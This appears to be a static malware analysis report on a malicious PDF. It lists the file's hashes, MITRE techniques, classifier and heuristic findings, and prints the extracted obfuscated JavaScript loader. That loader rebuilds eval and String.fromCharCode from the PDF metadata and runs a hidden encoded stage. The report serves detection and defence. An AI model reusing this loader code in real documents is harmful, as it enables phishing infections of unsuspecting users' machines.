Malicious PDF — malware analysis report

Static analysis result for SHA-256 5aa59855f7ba77dd…

MALICIOUS

PDF

44.8 KB Authoring application: substr First seen: 2012-06-14
MD5: 133891d1251021dc42d5a7cfb934d287 SHA-1: 439b674895892a3b30d7fa53014e36f350a189ce SHA-256: 5aa59855f7ba77dd858f1e4e75b3ec4ae12f47c69c92432b1b951176c59efc3d
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF document contains obfuscated JavaScript, identified by heuristics as a loader. This script reconstructs and executes a string, likely a URL, to download and run a second-stage payload. The ML classifier strongly indicates maliciousness. The document body 'substr split test' is likely a placeholder or test string.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0A1 429 bytes
SHA-256: eb5cc319daa66a522ddf6998b0572edd375f3db743fee8df2ee15bb877c9b63b
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
tjmm=e('ti'.concat(v[4],t));
q=tjmm[v](a.length-6,a.length+2);
yyfl=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=tjmm[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	mpo = 1*(q[i]) - (-1)*(q[++i]);
	s2 = s2.concat(yyfl(mpo));
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.